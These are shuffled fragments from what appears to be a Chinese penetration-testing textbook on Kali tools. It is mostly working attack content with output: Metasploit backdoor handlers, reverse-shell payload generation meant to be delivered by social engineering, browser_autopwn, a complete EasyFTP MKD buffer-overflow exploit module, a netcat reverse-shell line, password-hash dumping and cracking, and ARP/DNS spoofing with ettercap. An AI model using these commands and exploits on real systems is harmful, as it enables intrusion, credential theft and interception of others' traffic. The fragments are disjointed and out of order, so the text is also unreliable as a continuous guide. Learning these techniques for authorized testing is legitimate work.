    {"text": "在需要控制被测主机的时候，我们可以调用multi/handler中的windows/metsvc_bind_tcp payload，通过后门控制远程主机。 meterpreter > exit [*] Meterpreter session 1 closed. Reason: User exit msf exploit(ms08_067_netapi) > back msf > use exploit/multi/handler msf exploit(handler) > set PAYLOAD windows/metsvc_bind_tcp PAYLOAD => windows/metsvc_bind_tcp msf exploit(handler) > set LPORT 31337 LPORT => 31337 msf exploit(handler) > set RHOST 192.168.0.7 RHOST => 192.168.0.7 msf exploit(handler) > exploit [*] Starting the payload handler... [*] Started bind handler [*] Meterpreter session 2 opened (192.168.0.3:37251 -> 192.168.0.7:31337) at Tue Nov 16 20:02:05 +0000 2010 meterpreter > getuid Server username: NT AUTHORITY\\SYSTEM 此外，Meterpreter 的 getgui 脚本也很有用，它可开启目标主机的远程桌面功能。"},
    {"text": "meterpreter > run getgui -u btuser -p btpass [*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator [*] Carlos Perez carlos_perez@darkoperator.com [*] Language set by user to: 'en_EN' [*] Setting user account for logon [*] Adding User: btuser with Password: btpass [*] Adding User: btuser to local group 'Remote Desktop Users' [*] Adding User: btuser to local group 'Administrators' [*] You can now login with the created user [*] For cleanup use command: run multi_console_command -rc /root/.msf3/logs/scripts/getgui/clean_up__20101116.3447.rc 现在，我们可通过 rdesktop 程序登录目标主机。"},
    {"text": "# rdesktop 192.168.0.7:3389 请注意：如果已经破解了目标主机的账户名和密码，就不需要新建任何账号，直接执行 run getgui -e 命令启用远程桌面就可以了。"},
    {"text": "此处 SessionId 指代已经建立的 Meterpreter 会话（即跳板网关）， targetsubnet参数指代下一步需要测试的网段（如果被攻陷的主机是双网设备，则可以是它的另一个网段）。"},
    {"text": "就此问题，本文将以渗透测试人员的角度，通过典型案例介绍Metasploit在利用客户端程序的漏洞方面的角色，帮助读者了解它的灵活性和强大功能。"},
    {"text": "# msfpayload windows/shell_reverse_tcp LHOST=192.168.0.3 LPORT=33333 O ... # msfpayload windows/shell_reverse_tcp LHOST=192.168.0.3 LPORT=33333 X >/tmp/poker.exe Created by msfpayload (http://www.metasploit.com). Payload: windows/shell_reverse_tcp Length: 314 Options: LHOST=192.168.0.3,LPORT=33333 这样，我们就生成了自己的后门程序。"},
    {"text": "msf > use exploit/multi/handler msf exploit(handler) > set PAYLOAD windows/shell_reverse_tcp PAYLOAD => windows/shell_reverse_tcp msf exploit(handler) > show options ... msf exploit(handler) > set LHOST 192.168.0.3 LHOST => 192.168.0.3 msf exploit(handler) > set LPORT 33333 LPORT => 33333 msf exploit(handler) > exploit [*] Started reverse handler on 192.168.0.3:33333 [*] Starting the payload handler... 现在，我们可以把准备好的Windows可执行文件通过社会工程欺骗方法发送给目标机器，然后等待对方运行。"},
    {"text": "[*] Command shell session 2 opened (192.168.0.3:33333 -> 192.168.0.7:1053) at Wed Nov 17 04:39:23 +0000 2010 Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\\Documents and Settings\\salesdept\\Desktop> 如果在 MSFConsole 里看见了上述信息，就表明目标主机发起了 reverse shell，我们成功地连接到了被测主机的shell，圆满地完成了任务。"},
    {"text": "例如，下述指令将生成带有reverse shell的可执行文件，并对文件进行保护性封装：msfpayload windows/ shell/reverse_tcp LHOST=192.168.0.3 LPORT=32323 R | msfencode -e x86/shikata_ga_nai -t exe >/tmp/tictoe。"},
    {"text": "在目标人员访问它构建的恶意URL 的情况下，它能够识别出被测主机的浏览器类型，并根据识别结果自动从框架中选用针对该浏览器的exploit程序对浏览器发起攻击。"},
    {"text": "msf > use auxiliary/server/browser_autopwn msf auxiliary(browser_autopwn) > show options ... msf auxiliary(browser_autopwn) > set LHOST 192.168.0.3 LHOST => 192.168.0.3 msf auxiliary(browser_autopwn) > set SRVPORT 80 SRVPORT => 80 msf auxiliary(browser_autopwn) > set SRVHOST 192.168.0.3 SRVHOST => 192.168.0.3 msf auxiliary(browser_autopwn) > set URIPATH / URIPATH => / msf auxiliary(browser_autopwn) > run [*] Auxiliary module execution completed [*] Starting exploit modules on host 192.168.0.3... [*] -- [*] Starting exploit multi/browser/firefox_escape_retval with payload generic/ shell_reverse_tcp [*] Using URL: http://192.168.0.3:80/Eem9cKUlFvW [*] Server started. [*] Starting exploit multi/browser/java_calendar_deserialize with payload java/meterpreter/reverse_tcp [*] Using URL: http://192.168.0.3:80/s98jmOiOtmv4 [*] Server started. [*] Starting exploit multi/browser/java_trusted_chain with payload java/ meterpreter/reverse_tcp [*] Using URL: http://192.168.0.3:80/6BkY9uM23b [*] Server started. [*] Starting exploit multi/browser/mozilla_compareto with payload generic/shell_reverse_tcp [*] Using URL: http://192.168.0.3:80/UZOI7Y [*] Server started. [*] Starting exploit multi/browser/mozilla_navigatorjava with payload generic/ shell_reverse_tcp [*] Using URL: http://192.168.0.3:80/jRwlT67KIK6gJE ... [*] Starting exploit windows/browser/ie_createobject with payload windows/meterpreter/reverse_tcp [*] Using URL: http://192.168.0.3:80/Xb9Cop7VadNu [*] Server started. [*] Starting exploit windows/browser/ms03_020_ie_objecttype with payload windows/meterpreter/reverse_tcp [*] Using URL: http://192.168.0.3:80/rkd0X4Xb [*] Server started. ... [*] Starting handler for windows/meterpreter/reverse_tcp on port 3333 [*] Starting handler for generic/shell_reverse_tcp on port 6666 [*] Started reverse handler on 192.168.0.3:3333 [*] Starting the payload handler... [*] Starting handler for java/meterpreter/reverse_tcp on port 7777 [*] Started reverse handler on 192.168.0.3:6666 [*] Starting the payload handler... [*] Started reverse handler on 192.168.0.3:7777 [*] Starting the payload handler... [*] --- Done, found 15 exploit modules [*] Using URL: http://192.168.0.3:80/ [*] Server started. 一旦目标人员访问了恶意URL（http://192.168.0.3），程序将会识别出他的/她的浏览器，并执行相应的漏洞利用程序。"},
    {"text": "[*] Request '/' from 192.168.0.7:1046 [*] Request '/' from 192.168.0.7:1046 [*] Request '/?sessid=V2luZG93czpYUDpTUDI6ZW4tdXM6eDg2Ok1TSUU6Ni4wO1NQMjo %3d' from 192.168.0.7:1046 [*] JavaScript Report: Windows:XP:SP2:en-us:x86:MSIE:6.0;SP2: [*] Responding with exploits [*] Handling request from 192.168.0.7:1060... [*] Payload will be a Java reverse shell to 192.168.0.3:7777 from 192.168.0.7... [*] Generated jar to drop (4447 bytes). [*] Handling request from 192.168.0.7:1061... ... [*] Sending Internet Explorer COM CreateObject Code Execution exploit HTML to 192.168.0.7:1068... [*] Request '/' from 192.168.0.7:1069 [*] Request '/' from 192.168.0.7:1068 [*] Request '/' from 192.168.0.7:1069 [*] Sending EXE payload to 192.168.0.7:1068... [*] Sending stage (749056 bytes) to 192.168.0.7 [*] Meterpreter session 1 opened (192.168.0.3:3333 ->192.168.0.7:1072) at Thu Nov 18 02:24:00 +0000 2010 [*] Session ID 1 (192.168.0.3:3333 -> 192.168.0.7:1072) processing InitialAutoRunScript 'migrate -f' [*] Current server process: hzWWoLvjDsKujSAsBVykMTiupUh.exe (4052) [*] Spawning a notepad.exe host process... [*] Migrating into process ID 2788 [*] New server process: notepad.exe (2788) ... msf auxiliary(browser_autopwn) > sessions Active sessions =============== Id Type Information Connection -- ---- ---------- ---------- 1 meterpreter x86/win32 CUSTDESK\\Momin Desktop @ CUSTDESK (ADMIN) 192.168.0.3:3333 -> 192.168.0.7:1072 msf auxiliary(browser_autopwn) > sessions -i 1 [*] Starting interaction with 1... meterpreter > getuid Server username: CUSTDESK\\Momin Desktop 上述信息表明，我们已经利用客户端的攻击程序成功渗透到目标主机。"},
    {"text": "9.3.4 编写漏洞利用模板 Metasploit 框架最引人注目之处在于它可以独立开发 exploit 程序。 本节将围绕 exploit开发的核心问题进行讨论，通过生动的例子演示使用 Metasploit 框架的数据库构造 exploit的关键步骤。"},
    {"text": "本例将针对 EasyFTP Server（1.7.0.11 以下版本）编写利用 MKD Command Stack Buffer Overflow 漏洞的shellcode 程序，它能够反映编写缓冲区溢出exploit 的大致方法。"},
    {"text": "这个exploit的源代码的下载网址是/usr/share/metasploit-framework/modules/exploits/windows/ftp/easyftp_mkd_fixret.rb。 ## # $Id: easyftp_mkd_fixret.rb 9935 2010-07-27 02:25:15Z jduck $ ## 文件中的header部分描述了这个exploit的文件名、修订编号、创建日期和时间。"},
    {"text": "## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' 在exploit的开头部分，首先要对MSF核心库进行初始化。 class Metasploit3 < Msf::Exploit::Remote 上述代码所用的Exploit子类定义了远程TCP连接所需的各种选项和方法（内置函数），包括RHOST、RPORT、Connect()、Disconnect()、SSL()等。"},
    {"text": "def initialize(info = {}) super(update_info(info, 'Name' => 'EasyFTP Server <= 1.7.0.11 MKD Command Stack Buffer Overflow', 'Description' => %q{ This module exploits a stack-based buffer overflow in EasyFTP Server 1.7.0.11 and earlier. EasyFTP fails to check input size when parsing 'MKD' commands, which leads to a stack based buffer overflow. NOTE: EasyFTP allows anonymous access by default. However, in order to access the 'MKD' command, you must have access to an account that can create directories. After version 1.7.0.12, this package was renamed \"UplusFtp\". This exploit utilizes a small piece of code that I've referred to as 'fixRet'. This code allows us to inject of payload of ～500 bytes into a 264 byte buffer by 'fixing' the return address post-exploitation. See references for more information. }, 'Author' ==> [ 'x90c', # original version 'jduck', # port to metasploit / modified to use fix-up stub (works with bigger payloads) ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 9935 $', ' References' => [ ['OSVDB', '62134' ], ['URL', 'http://www.exploit-db.com/exploits/12044/'], ['URL', 'http://www.exploit-db.com/exploits/14399/'] ], 上述代码描述了exploit的常规信息，并且明确了参考的资料。"},
    {"text": "}, 'Privileged' => false, 'Payload' => { 'Space' => 512, 'BadChars' => \"\\x00\\x0a\\x0d\\x2f\\x5c\", 'DisableNops' => true }, 上述代码为shellcode预留了512字节空间，列出应终止paylod的坏字符，并禁止使用NOP填充payload。"},
    {"text": "'Platform' => 'win', 'Targets' => [ [ 'Windows Universal - v1.7.0.2', { 'Ret' => 0x004041ec } ], # call ebp - from ftpbasicsvr.exe [ 'Windows Universal - v1.7.0.3', { 'Ret' => 0x004041ec } ], # call ebp - from ftpbasicsvr.exe [ 'Windows Universal - v1.7.0.4', { 'Ret' => 0x004041dc } ], # call ebp - from ftpbasicsvr.exe [ 'Windows Universal - v1.7.0.5', { 'Ret' => 0x004041a1 } ], # call ebp - from ftpbasicsvr.exe [ 'Windows Universal - v1.7.0.6', { 'Ret' => 0x004041a1 } ], # call ebp - from ftpbasicsvr.exe [ 'Windows Universal - v1.7.0.7', { 'Ret' => 0x004041a1 } ], # call ebp - from ftpbasicsvr.exe [ 'Windows Universal - v1.7.0.8', { 'Ret' => 0x00404481 } ], # call ebp - from ftpbasicsvr.exe [ 'Windows Universal - v1.7.0.9', { 'Ret' => 0x00404441 } ], # call ebp - from ftpbasicsvr.exe [ 'Windows Universal - v1.7.0.10', { 'Ret' => 0x00404411 } ], # call ebp - from ftpbasicsvr.exe [ 'Windows Universal - v1.7.0.11', { 'Ret' => 0x00404411 } ], # call ebp - from ftpbasicsvr.exe ], 'DisclosureDate' => 'Apr 04 2010', 'DefaultTarget' => 0)) 上述代码定义了操作系统的平台类型，定义了Easy FTPServer（1.7.0.2～1.7.0.11）的10个（序号0～9）有缺陷的版本；"},
    {"text": "end def check connect disconnect if (banner =～ /BigFoolCat/) return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end 上述代码中的check()函数用于判断目标主机是否存在该漏洞。"},
    {"text": "def exploit connect_login # NOTE: # This exploit jumps to ebp, which happens to point at a partial version of # the 'buf' string in memory. The fixRet below fixes up the code stored on the # stack and then jumps there to execute the payload. The value in esp is used # with an offset for the fixup. fixRet_asm = %q{ mov edi,esp sub edi, 0xfffffe10 mov [edi], 0xfeedfed5 add edi, 0xffffff14 jmp edi ｝ fixRet = Metasm::Shellcode.assemble(Metasm::Ia32.new, fixRet_asm).encode_string buf = '' 上述代码将返冋地址调整为 payload 的启始地址。"},
    {"text": "print_status(\"Prepending fixRet...\") buf << fixRet buf << make_nops(0x20 - buf.length) exploit缓冲区的开头部分是经编码处理过的返回地址和随机个NOP指令。"},
    {"text": "print_status(\"Adding the payload...\") buf << payload.encoded 上述代码将在程序运行期间把shellcode动态地添加到exploit中。 # Patch the original stack data into the fixer stub buf[10, 4] = buf[268, 4] print_status(\"Overwriting part of the payload with target address...\") buf[268,4] = [target.ret].pack('V') # put return address @ 268 bytes 调整栈里的数据，修改返回地址为shellcode的地址。"},
    {"text": "print_status(\"Sending exploit buffer...\") send_cmd( ['MKD', buf] , false) 最后，我们借助服务端程序里存在漏洞的MKD指令（这是一个经过FTP身份验证之后才能使用的指令），把构造好的缓冲区数据发送给指定主机。 精心构造的buf数据可以通过Easy-FTP 服务端程序的 MKD 命令触发基于栈结构的缓冲区溢出漏洞，继而执行我们的payload，完成对目标系统的漏洞利用。"},
    {"text": "Win32下的msfpescan程序和Linux下的msfelfscan，都可用于查找指定程序的返回地址。 例如，要查找指定程序的返回地址，可使用指令：#./msfpescan -p targetapp.ext。"},
    {"text": "● 纵向提权（vertical privilege escalation）：如果低权限角色（的用户）能够获得高权限角色的权限，则这种提权就可称为纵向提权。 例如，如果在提权之后，内容管理系统（CMS）的某个用户能够使用管理员的功能，那么这种提权就是纵向提权。 ● 横向提权（horizontal privilege escalation）：如果获取了同级别角色的权限，这种提权就属于横向提权。 例如，如果在网上银行里，用户 A 获取了用户 B 的权限，他可以替用户B进行操作，那么这种提权就属于横向提权。"},
    {"text": "在被测主机上下载exploit之后，我们在被测主机上使用gcc指令编译exploit。 gcc privs.c -o privs 现在，我们制备好了exploit程序。"},
    {"text": "echo '#!/bin/bash' > run echo '/bin/netcat -e /bin/bash 192.168.56.101 31337' >> run 在执行payload之前，我们还要在测试主机上启动netcat的监听服务，以受理被测主机发起的连接。"},
    {"text": "这个数据里存有整个E-mail系统的用户名和密码。 借助这些信息，我们以某个关键人物的身份登录到了E-mail系统，并获取了各种机要系统的账户信息。"},
    {"text": "HASH: 8846f7eaee8fb117ad06bdd830b7586c Possible Hashs: [+] MD5 [+] Domain Cached Credentials - MD4(MD4(($pass)). (strtolower($username))) 即，hash-identifier 认为这个值属于 MD5 或 MD4 型的哈希。"},
    {"text": "例如，如果字典中含有以下单词 ○ password ○ 01 那么Hashcat将会尝试的密码将是： ○ passwordpassword ○ password01 ○ 01password ○ 0101 ● Toggle Case（穷举大小写组合）：程序将会尝试每个字典单词的各种大小写组合。"},
    {"text": "例如，如果字典里有AB这个备选密码，那么Hashcat将会测试的密码如下： ○ AB ○ BA ● Table-lookup（表查询）：程序将把字典里每个备选密码的每个字符都当作对应的mask进行处理。"},
    {"text": "● http://www.skullsecurity.org/wiki/index.php/Passwords。 ● http://cyberwarzone.com/cyberwarfare/password-cracking-megacollection-password-cracking- word-lists。"},
    {"text": "● http://hashcrack.blogspot.de/p/wordlist-downloads_29.html ● http://packetstormsecurity.com/Crackers/wordlists/ ● http://blog.g0tmi1k.com/2011/06/dictionaries-wordlists.html ● http://www.md5decrypter.co.uk/downloads.aspx 现在开始演示Hashcat的适用方法。"},
    {"text": "oclhashcat-plus 工具支持的攻击模式有brute foce（以mask attack 模式实现）、combinator attack、dictionary attack、hybrid attack、mask attack和基于规则的攻击。"},
    {"text": "如需详细了解密码字典的有关情况，请参见： ● Hybrid attack（https://hashcat.net/wiki/doku. php?id=hybrid_attack） ● Mask attack（http://hashcat.net/wiki/doku. php?id=mask_attack） ● Rule-basedattack（http://hashcat.net/wiki/doku. php?id=rule_based_attack） 3．RainbowCrack 彩虹表破解（RainbowCrack）是利用彩虹表来破解哈希数据的工具。"},
    {"text": "如需详细了解这种技术，请参见Philippe Oechslin 的论文Making aFaster Cryptanalytic Time-Memory Trade-Off: http://lasec.epfl. ch/pub/lasec/doc/Oech03.pdf 这种破解密码的方式有别于暴力破解。"},
    {"text": "● hash algorithm（算法）：md5 ● charset（字符集）：loweralpha ● plaintext_len_min：1 ● plaintext_lan_max：5 ● rainbow_table_index：0 ● rainbow_ chain_length：2000 ● rainbow_chain_count：8000 ● part_index：0 依照以上要求，制作第一个彩虹表所需的指令如下所示。"},
    {"text": "如果不想自己制作彩虹表，您可以从网上下载一些现成的彩虹表。 例如，下述网站就提供了彩虹表下载服务： ● http://www.freerainbowtables.com/en/tables/；"},
    {"text": "此时可选用rtsort程序。 若要在指令行中启动rtsort程序，可在终端中执行下述指令。 # rtsort 上述指令将会显示简单的使用说明以及指令范例。"},
    {"text": "# rtsort md5_loweralpha#1-5_0_2000x8000_0.rt md5_loweralpha#1-5_0_2000x8000_0.rt: 1176928256 bytes memory available loading rainbow table... sorting rainbow table by end point... writing sorted rainbow table... 然后，采取相同的操作对第二个彩虹表进行排序。 # rtsort md5_loweralpha#1-5_1_2000x8000_0.rt md5_loweralpha#1-5_1_2000x8000_0.rt: 1177255936 bytes memory available loading rainbow table... sorting rainbow table by end point... writing sorted rainbow table... rtsort工具会用排序的结果覆盖原文件。"},
    {"text": "samdunip2（http://sourceforge.net/projects/ophcrack/files/samdump2/）可破解这种哈希。 无需SysKey（System Key），samdump2 程序就可破解密码的哈希值。"},
    {"text": "● 第二种方法：使用pwdump程序或同类型的相关工具把Windows账户的密码哈希值导出来。 ● 第三种方法：参见上一章 Meterpreter 脚本的使用方法，再执行hashdump命令把密码的哈希值导出来。"},
    {"text": "Administrator:500:e52cac67419a9a22c295285c92cd06b4:b2641aea8eb4c00ede89c d2b7c78f6fb::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c08 9c0::: HelpAssistant:1000:383b9c42d9d1900952ec0055e5b8eb7b:0b742054bda1d884809e 12b10982360b::: SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:a1d6e496780585e33 a9ddd414755019a::: tedi:1003:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c08 9c0::: 接下来就可以用密码破解工具破解test-sam文件的哈希值。"},
    {"text": "目前，这款工具可以破解40 多种类型的密码哈希。 它可破解常见的 DES、MD5、LM、NT、crypt、NETLM和NETNTLM型哈希。 虽然破解哈希的软件有很多，但是DES和crypt型哈希的破解功能使John成为一枝独秀。"},
    {"text": "这种字典可以是您自己制作的字典，也可以是他人制作的字典。 许多网站都提供字典下载。 例如， Openwall Project（John 的官方网站）就提供字典下载服务，详情请参见http://download. openwall.net/pub/wordlists/。"},
    {"text": "在这种模式下，John会使用登录名、全名和用户的home文件夹名作为测试的候选密码，并使用候选密码来碰撞（破解）相应账户的密码，或者破解使用相同salt加密的密码哈希。"},
    {"text": "root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:0:0:root:/root:/bin/bash sys:$1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD9l0:3:3:sys:/dev:/bin/sh klog:$1$f2ZVMS4K$R9XkI.CmLdHhdUE3X9jqP0:103:104::/home/klog:/bin/false msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash postgres:$1$Rw35ik.x$MgQgZUuO5pAoUvfJhfcYe/:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash user:$1$HESu9xrH$k.o3G93DGoXIiQKkPmUgZ0:1001:1001:justa user,111,,:/home/user:/bin/bash service:$1$kR3ue7JZ$7GxELDupr5Ohp6cjZ3Bu//:1002:1002:,,,:/home/service:/bin/bash 第二个字段为空的行，没有密码信息。"},
    {"text": "# john --show pass 在本例中，John快速地破解出了多个密码，并返回图10.12所示的信息。 图10.12 由下表可见，John成功破解出了多个密码。 上述密码文件（pass文件）包含有7个账户密码的信息，John成功地破解出了其中的6组密码。"},
    {"text": "如需在命令行中启动Ophcrack程序，可在终端中使用下述指令。 # ophcrack-cli 上述指令将会在屏幕上显示简单的使用说明及相关范例。 如需启动Ophcrack GUI，可在终端中使用下述指令。 # ophcrack 上述指令将会启动Ophcrack GUI（图形化界面）。"},
    {"text": "Four hashes have been found in test-sam: Opened 4 table(s) from fast. 0h 0m 0s; Found empty password for user tedi (NT hash #1) 0h 0m 1s; Found password D01 for 2nd LM hash #0 0h 0m 13s; Found password PASSWOR for 1st LM hash #0in table XP free fast #1 at column 4489. 0h 0m 13s; Found password password01 for user Administrator (NT hash #0) 0h 0m 13s; search (100%); tables: total 4, done 0, using 4; pwd found 2/2. 程序的运行结果如下。"},
    {"text": "Results: username / hash LM password NT password Administrator PASSWORD01 password01 tedi *** empty *** *** empty *** 可见，Ophcrack 破解了相应用户的所有密码。"},
    {"text": "Crunch will now generate the following amount of data: 8588664 bytes 8 MB 0 GB 0 TB 0 PB Crunch will now generate the following number of lines: 1727604 100% 在我的主机上执行上述指令，耗时大约1.5分钟。"},
    {"text": "要避免发生锁定账户的情况，不仅要事先查看密码和用户锁定策略，在测试密码时最好还要使用同一个密码对所有用户名进行测试（轮换用户名，而不是轮换密码）。"},
    {"text": "如果在运行CeWL时遇到Error: zip/zip gem not installed错误，那么就要使用gem install zip/zip 指令安装相应的功能包： # gem install zip Fetching: zip-2.0.2.gem (100%) Successfully installed zip-2.0.2 1 gem installed Installing ri documentation for zip-2.0.2... Installing RDoc documentation for zip-2.0.2... 结合上述选项，我们使用下述指令从目标网站收集单词。"},
    {"text": "Device dataset sauerlo Sauer agentChange ouput fileWrite oBy strips mThe 270 Specialforces Damian GoD zERo zine Disney N00bz xThe Cracked Question Marc Doudiet Swiss Strafor Electric Alchemy 2．Hydra Hydra是一款猜测并破解用户名和密码的工具。"},
    {"text": "现在，它能够通过相应模板破解CVS、FTP、HTTP、IMAP、MS-SQL、MySQL、NCP（NetWare）、PcAnywhere、POP3、PostgreSQL、rexec、Rlogin、rsh、SMB、SMTP（VRFY）、SNMP、SSHv2、SVN、Telnet、VmAuthd、VNC协议，另有一个通用处理模板。"},
    {"text": "● -u 或-U[FILE]：指定用户名或用户名字典。 ● -h 或-H[FILE]：指定主机名或主机名字典。 ● -p 或-P[FILE]：指定密码或密码字典。"},
    {"text": "Medusa v2.0 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net> ACCOUNT FOUND: [vnc] Host: 192.168.56.101 User: root Password: password [SUCCESS] Medusa只找到了一个VNC密码；"},
    {"text": "网络欺骗（network spoofing）泛指修改网络数据的各种手段。 例如，伪造MAC 地址、伪造IP地址等的数据，都属于网络欺骗的范畴。 网络欺骗旨在于获取网络上两个会话主机的通信数据。"},
    {"text": "在没有权限更改被测主机 DNS 服务器设置的情况下，您就需要使用其他手段（例如ARP欺骗并搭设一个伪DHCP服务器等）劫持被测主机的DNS请求。"},
    {"text": "首先，我们要对DNSChef进行设置。 1．设置为DNS代理 第一步是把DNSChef设置为DNS代理服务器。 我们要在DNSChef的主机上运行下述指令。 # dnschef 而后调整这台主机的DNS设置，使之使用本机（localhost）的DNS服务器。 然后使用下述命令查询google.com的DNS记录。 host -t A google.com 上述指令向DNSChef发起DNS查询，应当会显示图10.20所示的信息。 这种设置将DNSChef调整为DNS代理服务器。"},
    {"text": "图10.20 2．伪造域名记录 在伪造google.com的域名记录之前，先来看看google.com的原始解析结果（见图10.21）。 图10.21 现在，我们要伪造 google.com 有关的 DNS 响应。"},
    {"text": "和前一个例子里的情况一样，首先要修改/etc/resolv.conf文件，令被测主机使用DNSChef作为其DNS服务器。 接下来在DNSChef所在的主机上使用下述指令。"},
    {"text": "如果需要在IPv6的网络中使用这个程序，您需要将其升级为 v0.2 版（https://thesprawl.org/media/projects/dnschef-0.2.1.tar.gz）。"},
    {"text": "此时，域名 google.com 的 IPv6 的真正地址是 2404:6800:4003:802::1003。 DNSChef主机的IPv6地址是fe80::a00:27ff:fe1c:5122/64。 在DNSChef服务器中，使用下述指令伪造google.com的IPv6地址。"},
    {"text": "dnschef.py -6 --fakeipv6 fe80::a00:27ff:fe1c:5122 --interface :: -q 10.3.2 arpspoof arpspoof 是一款在交换网络中辅助进行网络监听的实用工具。 前文提过，在使用交换机进行数据交换的网络环境里很难进行网络监听，但arpspoof可以辅助我们完成这项任务。 arpspoof用于伪造网络中两台设备的ARP通信。"},
    {"text": "图10.23 如果攻击者C想要监听主机A和主机B之间的网络流量，则可以向主机A发送ARP回复，告诉它主机B使用的是主机C的MAC地址（33.33.33.33.33.33）；"},
    {"text": "● MAC 地址：00-50-56-C0-00-08 ● IP 地址：192.168.65.1 ● 子网掩码：255.255.255.0 被测主机的配置如下。 ● MAC 地址：00-0C-29-35-C9-CD ● IP 地址：192.168.65.129 ● 子网掩码：255.255.255.0 测试主机的配置如下。 ● MAC 地址：00: 0C: 29: 09: 22: 31 ● IP 地址：192.168.65.130 ● 子网掩码：255.255.255.0 在启动程序以前，被测主机的ARP缓存如下所示。 Interface: 192.168.65.129 --- 0x30002 Internet Address Physical Address Type 192.168.65.1 00-50-56-c0-00-08 dynamic 通过以下命令，对被测主机实施ARP欺骗。 # arpspoof -t 192.168.65.129 192.168.65.1 在被测主机上稍等片刻，然后用 ping 命令测试网关的连接情况。"},
    {"text": "Interface: 192.168.65.129 --- 0x30002 Internet Address Physical Address Type 192.168.65.1 00-0C-29-09-22-31 dynamic 上述信息表明，在被测主机的ARP缓存里，网关的MAC地址由00-50-56-c0-00-08改变为00-0C-29-09-22-31。"},
    {"text": "ARP协议（地址解析协议）用来把IP地址解析为物理地址（MAC地址）。 当某个网络设备需要与其他网络资源通信时，它会通过ARP广播查询目标设备的MAC地址，目标设备也会通过ARP协议的数据包回复自己的MAC地址。"},
    {"text": "此后，通信双方都会将IP和MAC的对应信息保存到自己的ARP缓存中，以节省后续通信的查询时间。 在某台主机要进行通信时，它首先会查询对方IP地址的MAC地址。 此时，攻击人员可将自己主机回复给查询MAC地址的主机，以进行中间人攻击。"},
    {"text": "若要以文本模式启动Ettercap程序，可在终端中使用下述指令。 # ettercap -T 若要以仿图形模式启动它，可在终端中使用下述指令。 # ettercap -C 若要进入Ettercap的图形模式，可在终端中使用下述指令。"},
    {"text": "google.com A 192.168.2.21 *.google.com A 192.168.2.21 www.google.com PTR 192.168.2.21 这将把被测主机与google.com之间的全部通信诱导到攻击人员部署的Web服务器上。"},
    {"text": "# ettercap -i eth0 -T -q -P dns_spoof -M ARP /192.168.2.1//192.168.2.22/ 上述指令的运行结果如下。 Scanning for merged targets (2 hosts)... 2 hosts added to the hosts list... ARP poisoning victims: GROUP 1 : 192.168.2.1 F4:EC:38:EC:07:DC GROUP 2 : 192.168.2.22 08:00:27:43:15:18Starting Unified sniffing... Activating dns_spoof plugin... dns_spoof: [safebrowsing-cache.google.com] spoofed to [192.168.2.21] 只要熟悉了Ettercap各选项的使用方法，就会发现Ettercap的文本模式十分方便。"},
    {"text": "如果网络数据以明文传输，且计算机之间通过集线器交换数据，那么网络里的通信信息，例如用户名、密码、邮件内容等，将很容易被他人捕获。"},
    {"text": "目前，它可从以下协议中捕获密码：FTP、Telnet、SMTP、HTTP、POP、poppass、NNTP、IMAP、SNMP、LDAP、Rlogin、RIP、OSPF、PPTP MS-CHAP、NFS、VRRP、YP/NIS、SOCKS、X11、CVS、IRC、AIM、ICQ、 Napster、PostgreSQL、Meeting Maker、Citrix ICA、Symantec pcAnywhere、NAI Sniffer、Microsoft SMB、Oracle SQL*Net、Sybase 以及Microsoft SQL。"},
    {"text": "dsniff: listening on eth0 ---------------- 20/08/13 18:54:53 tcp 192.168.2.20.36761 -> 192.168.2.22.21 (ftp) USER user PASS user01 从中可以看到，dsniff捕获了客户端登录FTP服务器时所用的用户名和密码。"},
    {"text": "现在尝试嗅探从IP地址10.0.2.15到10.0.2.100的ICMP封包，这里设置嗅探eth0 接口（-i eth0），不需要把地址转换成主机名（-n），不需要打印时间戳（-t），用十六进制格式和ASCII格式打印封包头和数据（-X）。"},
    {"text": "在主机10.0.2.15处输入： # tcpdump -n -t -X -i eth0 –s 64 icmp and src 192.168.56.102 and dst192.168.56.101 上述指令的运行结果如图10.29所示。"},
    {"text": "如图10.31所示，可以在Filter栏里设置过滤规则，以显示特定的数据包。 图10.31 在图10.31中，我们在Filter栏里设定好了过滤规则icmp，以使程序只显示ICMP协议的数据包。"},
    {"text": "如果需要调整捕获数据包的具体设置，可在菜单Capture | Options 中调整相应的选项，或在Wireshark 主界面中直接选中Capture Options 的图标（见图10.32）。"},
    {"text": "攻击人员可以通过网络嗅探和网络欺骗手段获得更多的信息，还可能获取进入内网或者外网中其他主机的方式，这些信息中可能含有更具价值的信息。"},
    {"text": "离线攻击的好处是可以在自己的机器上进行，而无需担心攻击会导致目标机器上的某个账户被封停。 在线攻击则可以马上査看攻击结果，但需要小心攻击可能导致目标机器上的某个账户被封停。"},
    {"text": "11.1 操作系统后门 简单地说，所谓后门（backdoor），泛指绕过目标系统安全控制体系的正规用户认证过程而维持我们对目标系统的控制权，以及隐匿我们控制行为的方法。"},
    {"text": "将shellcode注入到其他进程，还有另外一项优势：即使目标系统的安全防护工具能够监视可执行程序的完整性，只要它不检测内存，那么它就不能发现（插进程）后门程序的进程。"},
    {"text": "图11.10 现在我们在被测主机上打开文件夹 C:\\Documents and Settings\\user\\Local Settings\\Temp\\ hFSGPuffumYt，可在其中找到后门程序的文件（见图11.11）。"},
    {"text": "dns2tcp采用了CS（客户端/服务器）架构。 客户端程序叫做dns2tcpc，服务器端叫做dns2tcpd。 要启动dns2tcp的服务器端程序，可在终端中使用下述指令。 # dns2tcpd 上述指令将会在屏幕上显示简短的使用说明。 如需使用dns2tcp的客户端程序，可在终端中使用下述指令。 # dns2tcpc 上述指令将会在屏幕上显示简短的使用说明。"},
